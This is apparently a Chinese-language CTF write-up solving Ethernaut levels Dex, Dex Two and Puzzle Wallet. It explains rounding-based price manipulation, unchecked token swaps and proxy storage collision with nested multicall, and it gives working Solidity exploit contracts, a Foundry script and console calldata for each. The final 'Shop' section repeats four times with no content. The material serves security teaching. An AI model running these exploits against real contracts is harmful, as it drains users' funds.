合约代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "openzeppelin-contracts-08/token/ERC20/IERC20.sol"; import "openzeppelin-contracts-08/token/ERC20/ERC20.sol"; import 'openzeppelin-contracts-08/access/Ownable.sol'; contract Dex is Ownable { address public token1; address public token2; constructor() {} function setTokens(address _token1, address _token2) public onlyOwner { token1 = _token1; token2 = _token2; } function addLiquidity(address token_address, uint amount) public onlyOwner { IERC20(token_address).transferFrom(msg.sender, address(this), amount); } function swap(address from, address to, uint amount) public { require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens"); require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap"); uint swapAmount = getSwapPrice(from, to, amount); IERC20(from).transferFrom(msg.sender, address(this), amount); IERC20(to).approve(address(this), swapAmount); IERC20(to).transferFrom(address(this), msg.sender, swapAmount); } function getSwapPrice(address from, address to, uint amount) public view returns(uint){ return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this))); } function approve(address spender, uint amount) public { SwappableToken(token1).approve(msg.sender, spender, amount); SwappableToken(token2).approve(msg.sender, spender, amount); } function balanceOf(address token, address account) public view returns (uint){ return IERC20(token).balanceOf(account); } } contract SwappableToken is ERC20 { address private _dex; constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply) ERC20(name, symbol) { _mint(msg.sender, initialSupply); _dex = dexInstance; } function approve(address owner, address spender, uint256 amount) public { require(owner != _dex, "InvalidApprover"); super._approve(owner, spender, amount); } }
合约分析 我们将一一介绍每个函数。
1 2 3 4 function setTokens(address _token1, address _token2) public onlyOwner { token1 = _token1; token2 = _token2; }
用于setTokens()
设置每个代币合约的地址。由于修饰符的原因,这只能由owner调用onlyOwner
。
1 2 3 function addLiquidity(address token_address, uint amount) public onlyOwner { IERC20(token_address).transferFrom(msg.sender, address(this), amount); }
该addLiquidity()
函数也可以仅由owner调用,为合约提供流动性。这会将允许一定数量的代币从代币地址转移到 Dex。
1 2 3 4 5 6 7 8 function swap(address from, address to, uint amount) public { require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens"); require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap"); uint swapAmount = getSwapPrice(from, to, amount); IERC20(from).transferFrom(msg.sender, address(this), amount); IERC20(to).approve(address(this), swapAmount); IERC20(to).transferFrom(address(this), msg.sender, swapAmount); }
这swap()
是一个没有任何修饰符的公共函数,这意味着任何人都可以调用它。这用于将token1 的数量与 token2 的数量进行交换,反之亦然。
from
和to
是token的地址,amount
是要交换的数量。
第一个require语句确保地址是owner使用setTokens()
函数定义的令牌地址。
另一个 require 语句是检查调用该函数的用户是否拥有足够数量的token。
变量swapAmount
为调用getSwapPrice()
函数来计算的交换的总量。我们稍后将对此进行更多讨论。
transferFrom()
进行一个调用,将swapAmount
代币从用户转移到 Dex。
approve
函数用于批准要交换的代币的合同。
然后这些to
代币从 Dex 转移到我们的用户。
1 2 3 function getSwapPrice(address from, address to, uint amount) public view returns(uint){ return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this))); }
该函数获取代币地址和要交换的代币数量from
,并计算代币数量to
。使用以下公式 -
1 返还token2数量=(待兑换token1数量*合约token2余额)/合约token1余额。
这是易受攻击的函数。我们将利用 Solidity 中没有浮点数的设置,这意味着每当函数进行除法时,结果都将是一个分数。由于没有小数和浮点数,代币金额将四舍五入为零。因此,通过在 token1 和 token2 之间进行连续的代币交换,我们可以将合约中一种代币的总余额减少到零。精度损失将自动为我们完成这项工作。
1 2 3 4 function approve(address spender, uint amount) public { SwappableToken(token1).approve(msg.sender, spender, amount); SwappableToken(token2).approve(msg.sender, spender, amount); }
批准是一个 ERC20 函数,用于授予花费者花费amount
代币的权限。
1 2 3 function balanceOf(address token, address account) public view returns (uint){ return IERC20(token).balanceOf(account); }
该balanceOf()
函数仅用于计算该地址的剩余代币余额。
利用计算 为了通过这关,我们必须将所有 token1 交换为 token2。然后将我们所有的 token2 换成 token1。并重复这个过程。让我们看一下token表。
最初,Dex 的代币余额均为 100,用户的代币余额各为 10。
用户将 10 个代币从 token1 交换到 token2。Dex 将拥有 110 个 token1 和 90 个 token2,而用户将拥有 0 个 token1 和 20 个 token2。
现在,当用户用 20 个 token2 交换 token1 时,公式将返回以下内容 -
1 返回的 token1 = (20 * 110 )/90 = 24.44
该值将四舍五入为 24。这意味着 Dex 现在将拥有 86 个 token1 和 110 个 token2,而我们的用户将拥有 24 个 token1 和 0 个 token2。如果再重复几次,将产生如下所示的值。
我们可以看到,在每次代币交换中,我们留下的代币都比之前持有的要多。
一旦 token1 或 token2 的价值达到 65 个代币,我们就可以进行另一次交换,以耗尽 Dex 中其中一个代币的余额。((65*110)/45 = 158)
DEX
用户
token1
token2
token1
token2
100
100
10
10
110
90
0
20
86
110
24
0
110
80
0
30
69
110
41
0
110
45
0
65
0
90
110
20
这意味着,在最后一步,如果我们需要耗尽 110 个 token1,则需要交换的 token2 数量为(65 * 110)/158 = 45
。这将使 Dex 的 token1 余额变为 0。
利用代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; contract Dex is Ownable { address public token1; address public token2; constructor() Ownable(msg.sender) {} function setTokens(address _token1, address _token2) public onlyOwner { token1 = _token1; token2 = _token2; } function addLiquidity(address token_address, uint amount) public onlyOwner { IERC20(token_address).transferFrom(msg.sender, address(this), amount); } function swap(address from, address to, uint amount) public { require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens"); require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap"); uint swapAmount = getSwapPrice(from, to, amount); IERC20(from).transferFrom(msg.sender, address(this), amount); IERC20(to).approve(address(this), swapAmount); IERC20(to).transferFrom(address(this), msg.sender, swapAmount); } function getSwapPrice(address from, address to, uint amount) public view returns(uint){ return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this))); } function approve(address spender, uint amount) public { SwappableToken(token1).approve(msg.sender, spender, amount); SwappableToken(token2).approve(msg.sender, spender, amount); } function balanceOf(address token, address account) public view returns (uint){ return IERC20(token).balanceOf(account); } } contract SwappableToken is ERC20 { address private _dex; constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply) ERC20(name, symbol) { _mint(msg.sender, initialSupply); _dex = dexInstance; } function approve(address owner, address spender, uint256 amount) public { require(owner != _dex, "InvalidApprover"); super._approve(owner, spender, amount); } } contract POC { Dex target ; constructor(address _addr) { target = Dex(_addr); } function run() external{ target.approve(address(target), 500); address token1 = target.token1(); address token2 = target.token2(); target.swap(token1, token2, 10); target.swap(token2, token1, 20); target.swap(token1, token2, 24); target.swap(token2, token1, 30); target.swap(token1, token2, 41); target.swap(token2, token1, 45); } }
代码逻辑上没问题,但由于我们合约上没有这个token,于是是不能执行成功的,我们需要在控制台进行控制,逻辑上是一样的
攻击流程 获取一个实例,之后查看instance的地址
之后执行和合约一样的效果的js代码
target.swap(token1, token2, 10);
target.swap(token2, token1, 20);
target.swap(token1, token2, 24);
target.swap(token2, token1, 30);
target.swap(token1, token2, 41);
target.swap(token2, token1, 45);
最后提交示例即可
Dex Two 闯关要求 此级别将要求您以不同的方式破坏DexTwo,这是对前一题目进行了细微修改的Dex合约。
您需要从DexTwo合约中提取token1和token2的所有余额才能通过此题。
一开始您可以得到10个token1和token2。DEX合约仍然以每个代币100个开始。
可能有帮助的注意点:
交换方法是如何修改的?
你可以在攻击中使用自定义代币合约吗?
获取新实例
合约代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "openzeppelin-contracts-08/token/ERC20/IERC20.sol"; import "openzeppelin-contracts-08/token/ERC20/ERC20.sol"; import 'openzeppelin-contracts-08/access/Ownable.sol'; contract DexTwo is Ownable { address public token1; address public token2; constructor() {} function setTokens(address _token1, address _token2) public onlyOwner { token1 = _token1; token2 = _token2; } function add_liquidity(address token_address, uint amount) public onlyOwner { IERC20(token_address).transferFrom(msg.sender, address(this), amount); } function swap(address from, address to, uint amount) public { require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap"); uint swapAmount = getSwapAmount(from, to, amount); IERC20(from).transferFrom(msg.sender, address(this), amount); IERC20(to).approve(address(this), swapAmount); IERC20(to).transferFrom(address(this), msg.sender, swapAmount); } function getSwapAmount(address from, address to, uint amount) public view returns(uint){ return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this))); } function approve(address spender, uint amount) public { SwappableTokenTwo(token1).approve(msg.sender, spender, amount); SwappableTokenTwo(token2).approve(msg.sender, spender, amount); } function balanceOf(address token, address account) public view returns (uint){ return IERC20(token).balanceOf(account); } } contract SwappableTokenTwo is ERC20 { address private _dex; constructor(address dexInstance, string memory name, string memory symbol, uint initialSupply) ERC20(name, symbol) { _mint(msg.sender, initialSupply); _dex = dexInstance; } function approve(address owner, address spender, uint256 amount) public { require(owner != _dex, "InvalidApprover"); super._approve(owner, spender, amount); } }
合约分析 让我们看一下有漏洞的函数
1 2 3 4 5 6 7 function swap(address from, address to, uint amount) public { require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap"); uint swapAmount = getSwapAmount(from, to, amount); IERC20(from).transferFrom(msg.sender, address(this), amount); IERC20(to).approve(address(this), swapAmount); IERC20(to).transferFrom(address(this), msg.sender, swapAmount); }
如果我们比较上一级别的相同函数,我们会发现这一级别缺少一行:
1 require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
它负责验证交换是否仅发生在合约定义的两个代币地址上。由于 Dex Two 不存在这一点,因此我们可以交换任何代币。即使是我们创造的。所以我们可以通过交换自己的代币来耗尽 Dex Two。
利用计算 要利用 Dex Two,我们需要执行以下操作:
创建我们自己的 ERC20 代币并铸造 ( msg.sender
) 400 ZombieTokens (ZTN)(我们的恶意代币名称)。
发送 100 ZTN 到 Dex Two,以便交换时价格比例平衡为 1:1。
批准 Dex 花费我们的 300 个 ZTN。我们需要它来交换 100 个 token1 和 200 个 token2。当我们看到下面的余额表时,这一点就会更清楚。
完成所有这些后,余额的分配方式如下:
Dex two
user
token1
token2
ZTN
token1
token2
ZTN
100
100
100
10
10
300
将 100 ZTN 与 token1 交换。这将从 Dex Two 中耗尽所有 token1。
100*100/100= 100
Dex two
user
token1
token2
ZTN
token1
token2
ZTN
100
100
100
10
10
300
0
100
200
110
10
200
根据 中的公式get_swap_amount()
,要从 Dex 中获取所有 token2,我们 100 = (x * 100)/200
- x = 200 ZTN
。因此,我们需要兑换200个ZTN才能获得100个token2。完成后,最终的余额表如下所示:
Dex two
user
token1
token2
ZTN
token1
token2
ZTN
100
100
100
10
10
300
0
100
200
110
10
200
0
0
400
110
110
0
现在应该清楚为什么我们选择 400 ZTN 入手了。让我们部署我们的漏洞利用代码。
攻击流程 获取一个实例,之后查看instance的地址
首先部署代币合约代码
1 2 3 4 5 6 7 8 9 10 11 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; contract ZombieToken is ERC20 { constructor(uint256 initialSupply) ERC20("ZombieToken", "ZTN") public { _mint(msg.sender, initialSupply); } }
参数填400,即为我们要发行的代币数量
使用我们的用户地址调用该balanceOf()
函数,以确保我们收到 400 ZTN
现在发送 100 ZTN 到 Dex Two
现在让我们批准 Dex 花费 300 个代币,以便它可以交换代币
然后执行交换代币的代码,0x0bf35AA7f4457f02ff8D61E3d567E2520576A3A2
为我们自己的代币的地址
await contract.swap("0x0bf35AA7f4457f02ff8D61E3d567E2520576A3A2",await contract.token1(),"100")
await contract.swap("0x0bf35AA7f4457f02ff8D61E3d567E2520576A3A2",await contract.token2(),"200")
最后提交示例即可
Puzzle Wallet 闯关要求 事实上,如今,为DeFi运营付费是不可能的。
一群朋友发现了如何通过在一个交易中批量处理来稍微降低执行多个交易的成本,因此他们开发了一个智能合约来执行此操作。
他们需要这个合约是可升级的,以防代码包含错误,他们还想阻止团队外的人使用它。为此,他们投票并分配了两个在系统中具有特殊角色的人: 管理员:有权更新智能合约的逻辑; 所有者:控制允许使用合约的地址白名单。 合同已部署,该组被列入白名单。每个人都为他们对抗邪恶矿工的成就而欢呼。
他们几乎不知道,他们的午餐钱处于危险之中…… 你需要劫持这个钱包,去成为代理的管理员。
可能有帮助的注意点:
了解委托调用的工作原理以及执行调用时 msg.sender 和 msg.value 的行为方式。
了解代理模式及其处理存储变量的方式。
合约代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; pragma experimental ABIEncoderV2; import "../helpers/UpgradeableProxy-08.sol"; contract PuzzleProxy is UpgradeableProxy { address public pendingAdmin; address public admin; constructor(address _admin, address _implementation, bytes memory _initData) UpgradeableProxy(_implementation, _initData) { admin = _admin; } modifier onlyAdmin { require(msg.sender == admin, "Caller is not the admin"); _; } function proposeNewAdmin(address _newAdmin) external { pendingAdmin = _newAdmin; } function approveNewAdmin(address _expectedAdmin) external onlyAdmin { require(pendingAdmin == _expectedAdmin, "Expected new admin by the current admin is not the pending admin"); admin = pendingAdmin; } function upgradeTo(address _newImplementation) external onlyAdmin { _upgradeTo(_newImplementation); } } contract PuzzleWallet { address public owner; uint256 public maxBalance; mapping(address => bool) public whitelisted; mapping(address => uint256) public balances; function init(uint256 _maxBalance) public { require(maxBalance == 0, "Already initialized"); maxBalance = _maxBalance; owner = msg.sender; } modifier onlyWhitelisted { require(whitelisted[msg.sender], "Not whitelisted"); _; } function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted { require(address(this).balance == 0, "Contract balance is not 0"); maxBalance = _maxBalance; } function addToWhitelist(address addr) external { require(msg.sender == owner, "Not the owner"); whitelisted[addr] = true; } function deposit() external payable onlyWhitelisted { require(address(this).balance <= maxBalance, "Max balance reached"); balances[msg.sender] += msg.value; } function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted { require(balances[msg.sender] >= value, "Insufficient balance"); balances[msg.sender] -= value; (bool success, ) = to.call{ value: value }(data); require(success, "Execution failed"); } function multicall(bytes[] calldata data) external payable onlyWhitelisted { bool depositCalled = false; for (uint256 i = 0; i < data.length; i++) { bytes memory _data = data[i]; bytes4 selector; assembly { selector := mload(add(_data, 32)) } if (selector == this.deposit.selector) { require(!depositCalled, "Deposit can only be called once"); // Protect against reusing msg.value depositCalled = true; } (bool success, ) = address(this).delegatecall(data[i]); require(success, "Error while delegating call"); } } }
合约分析 该级别由两个合约组成,一个名为 PuzzleProxy 的代理合约和一个名为 PuzzleWallet 的逻辑/实现合约。那么什么是代理合约和实现合约?是时候了解可升级合约了。
可升级合约 我们在以太坊上进行的每笔交易都是不可变的,无法修改或更新。这是使网络安全并帮助网络上的任何人验证和确认交易的优势。由于这一限制,开发人员在更新合约代码时面临问题,因为一旦部署到区块链上就无法对其进行修改。
为了克服这种情况,引入了可升级合约。此部署模式由两个合同组成 - 代理合同(存储层)和实施合同(逻辑层)。
在该架构中,用户通过代理合约与逻辑合约进行交互,当需要更新逻辑合约的代码时,代理合约中的逻辑合约的地址会被更新,从而允许用户与新的逻辑合约进行交互。
学过设计模式的同学其实都知道什么是代理模式:为其他对象提供一种代理以控制对某个对象的访问。也就是说,每次我要访问A,其实我是通过调用B的接口,而B中存有A的对象实例,并对外暴露与A相同的接口,这时候,当我们调用B时,我们仍以为自己在访问A,并对其中代理部分浑然不觉。
那么,代理模式的优点又在哪里呢?如果业务有更新,完全可以实现热部署,代理实例通过切换对象实例,此时使用者不会感觉到服务有中断或者发生了变化。
而在智能合约中,要使用代理模式,思路也是一样的,就是为了解决合约一旦上链无法更新的问题。当我们需要更新合约时,只要将代理合约中的合约实例指向新创建的合约即可。此时,对和代理合约交互的用户来说,并没有感到服务产生了变化。现在很多链游就是基于以上原理,可以不断的更新合约、更新游戏。而转发具体是怎么实现的呢?其实就是利用fallback函数,当用户访问不存在的函数时,会进入fallback,代理合约在此处即可完成转发。
在实现可升级模式时需要注意的一点是,两个合约中的slot位排列应该相同,因为slot位是映射的。这意味着当代理合约call执行合约时,代理合约的存储变量会被修改
,这就是我们的攻击的地方。
攻击分析 我们来看看两个合约中的slot安排:
Slot #
PuzzleProxy
PuzzleWallet
0
pendingAdmin
owner
1
admin
maxBalance
由于我们需要成为代理的管理员,因此我们需要覆盖slot 1 中的值,即 或admin
变量maxBalance
。
想要通过setMaxBalance修改maxBalance
有一个先决条件,那就是onlyWhitelisted
,即用户需要在白名单中。而要添加到白名单,需要调用addToWhitelist方法,这又需要require(msg.sender == owner, “Not the owner”);,所以我们可以先通过修改pendingAdmin修改owner,然后在逐一完成。
1 2 3 4 function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted { require(address(this).balance == 0, "Contract balance is not 0"); maxBalance = _maxBalance; }
我们先生成selector
将其和param
合并生成交易中的data
,以此可以发起对proposeNewAdmin(address)
方法的调用。在修改过后此时合约的owner
已修改为'0x0bD590c9c9d88A64a15B4688c2B71C3ea39DBe1b'
。
注意:为什么这里的执行合约可以去调用代理合约的函数,我们可以通过下面的,可升级合约的关键代码去理解调用原理其实就是delegatecall调用后内置变量 msg 的值不会修改为调用者,而是caller的账户地址(这里就是代理合约的账户地址),但执行环境为调用者的运行环境(代理合约的地址)
所以delegatecall 实际上会在调用合约的上下文中执行代码,因此无论调用的合约是代理合约还是执行合约,都可以被调用
1 2 3 4 5 6 7 8 9 10 11 selector = web3.utils .keccak256 ("proposeNewAdmin(address)" ).slice (0 ,10 ) param = "00000000000000" +player.slice (2 ,) param = "000000000000000000000000" +player.slice (2 ,) param.length await contract.sendTransaction ({data :selector+param})await contract.owner ()
通过await contract.addToWhitelist(player)
将用户添加到白名单中,此时再用await contract.whitelisted(player)
进行检查。
然后,如果要设置setMaxBalance
需要满足条件require(address(this).balance == 0, "Contract balance is not 0");
即合约本身余额不能为0,而我们通过await getBalance(contract.address)
可以查询到合约还有余额0.001
以太。我们应当办法将其移除。
此时我们可以查看到槽的存储情况如下,slot 0
已变成了用户地址,而slot 1
却是关卡合约的地址。
这是什么原因呢?这是因为,在初始化代理合约时,admin
变量已经确定,所以当后续调用init
时,由于存储冲突,所以maxBalance
不为0,所以该方法其实调用就失败了,原始值也就没有更改。
我们想到multicall
里面有这么一个限制:
1 2 3 4 5 if (selector == this.deposit.selector) { require(!depositCalled, "Deposit can only be called once"); // Protect against reusing msg.value depositCalled = true; }
这是什么意思呢? 那就是只能存一次 ,如果在multicall
里调用两次deposite
函数,我们也不应当重复计算所存的数量。这里只是简单的对data的选择器作了单层校验,我们如果将其封装,似乎是可以绕过的。
于是我们可以构造这样一个参数,第一个为调用deposite
函数,第二个为调用multicall
函数,但是参数为调用deposite
函数的data,于是就可以调用两次deposite
函数了,但是我们只需要附带一个value
就行。
执行代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 await getBalance (contract.address )await contract.multicall .request ([web3.utils .keccak256 ("deposit()" ).slice (0 ,10 )])data = "0xac9650d80000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000004d0e30db000000000000000000000000000000000000000000000000000000000" selector = web3.utils .keccak256 ("deposit()" ).slice (0 ,10 ) await contract.multicall ([data,selector],{value :web3.utils .toWei ("0.001" )})web3.utils .toWei ("0.002" )===await contract.balances (player).then (v => v.toString ())
然后再提取出来就能绕过了
1 2 3 await contract.execute(player,toWei("0.002"),0x0) await getBalance(instance) //0
最后修改maxBalance达到修改admin的目的
1 2 3 4 5 6 7 8 9 10 11 12 13 await web3.eth.getStorageAt(instance,0) //'0x000000000000000000000000e92f4fd673fcb0f578ac2df10145396170e05ad7' await web3.eth.getStorageAt(instance,1) //'0x000000000000000000000000725595ba16e76ed1f6cc1e1b65a88365cc494824' addr = "0x000000000000000000000000"+player.slice(2,) //'0x000000000000000000000000E92F4FD673fCB0f578aC2dF10145396170E05aD7' addr.length //66 await contract.setMaxBalance(addr) await web3.eth.getStorageAt(instance,0) //'0x000000000000000000000000e92f4fd673fcb0f578ac2df10145396170e05ad7' await web3.eth.getStorageAt(instance,1) //'0x000000000000000000000000e92f4fd673fcb0f578ac2df10145396170e05ad7'
攻击流程 获取一个实例,之后查看instance的地址
之后执行上面的那些代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 selector = web3.utils .keccak256 ("proposeNewAdmin(address)" ).slice (0 ,10 ) param = "00000000000000" +player.slice (2 ,) param = "000000000000000000000000" +player.slice (2 ,) param.length await contract.sendTransaction ({data :selector+param})await contract.owner ()await getBalance (contract.address )await contract.multicall .request ([web3.utils .keccak256 ("deposit()" ).slice (0 ,10 )])data = "0xac9650d80000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000004d0e30db000000000000000000000000000000000000000000000000000000000" selector = web3.utils .keccak256 ("deposit()" ).slice (0 ,10 ) await contract.multicall ([data,selector],{value :web3.utils .toWei ("0.001" )})web3.utils .toWei ("0.002" )===await contract.balances (player).then (v => v.toString ()) await contract.execute (player,toWei ("0.002" ),0x0 )await getBalance (instance)await web3.eth .getStorageAt (instance,0 )await web3.eth .getStorageAt (instance,1 )addr = "0x000000000000000000000000" +player.slice (2 ,) addr.length await contract.setMaxBalance (addr)await web3.eth .getStorageAt (instance,0 )await web3.eth .getStorageAt (instance,1 )
或者通过合约去执行,效果和上面那些是一样的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "forge-std/Script.sol"; import "../instances/Ilevel24.sol"; contract POC is Script { PuzzleWallet wallet = PuzzleWallet(0x7E069Cb68CE876D435b422652f86462F4A276145); PuzzleProxy px = PuzzleProxy(0x7E069Cb68CE876D435b422652f86462F4A276145); function run() external{ vm.startBroadcast(); //creating encoded function data to pass into multicall bytes[] memory depositSelector = new bytes[](1); depositSelector[0] = abi.encodeWithSelector(wallet.deposit.selector); bytes[] memory nestedMulticall = new bytes[](2); nestedMulticall[0] = abi.encodeWithSelector(wallet.deposit.selector); nestedMulticall[1] = abi.encodeWithSelector(wallet.multicall.selector, depositSelector); // making ourselves owner of wallet px.proposeNewAdmin(msg.sender); //whitelisting our address wallet.addToWhitelist(msg.sender); //calling multicall with nested data stored above wallet.multicall{value: 0.001 ether}(nestedMulticall); //calling execute to drain the contract wallet.execute(msg.sender, 0.002 ether, ""); //calling setMaxBalance with our address to become the admin of proxy wallet.setMaxBalance(uint256(msg.sender)); //making sure our exploit worked console.log("New Admin is : ", px.admin()); vm.stopBroadcast(); } }
最后提交示例即可
Shop 闯关要求 合约代码
合约分析 攻击流程 获取一个实例,之后查看instance的地址
之后部署攻击合约
之后点击”Hack”实施攻击即可:
最后提交示例即可
Shop 闯关要求 合约代码
合约分析 攻击流程 获取一个实例,之后查看instance的地址
之后部署攻击合约
之后点击”Hack”实施攻击即可:
最后提交示例即可
Shop 闯关要求 合约代码
合约分析 攻击流程 获取一个实例,之后查看instance的地址
之后部署攻击合约
之后点击”Hack”实施攻击即可:
最后提交示例即可
Shop 闯关要求 合约代码
合约分析 攻击流程 获取一个实例,之后查看instance的地址
之后部署攻击合约
之后点击”Hack”实施攻击即可:
最后提交示例即可
总结 参考资料 https://blog.dixitaditya.com/ethernaut-level-21-shop?source=more_series_bottom_blogs
https://xz.aliyun.com/t/7174?time__1311=n4%2BxnD0GDtKxyDRxWqGNWPbtGOD9ijDYuu4vD&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Ft%2F7174#reply-19734
https://blog.csdn.net/qq_41578716/article/details/103825476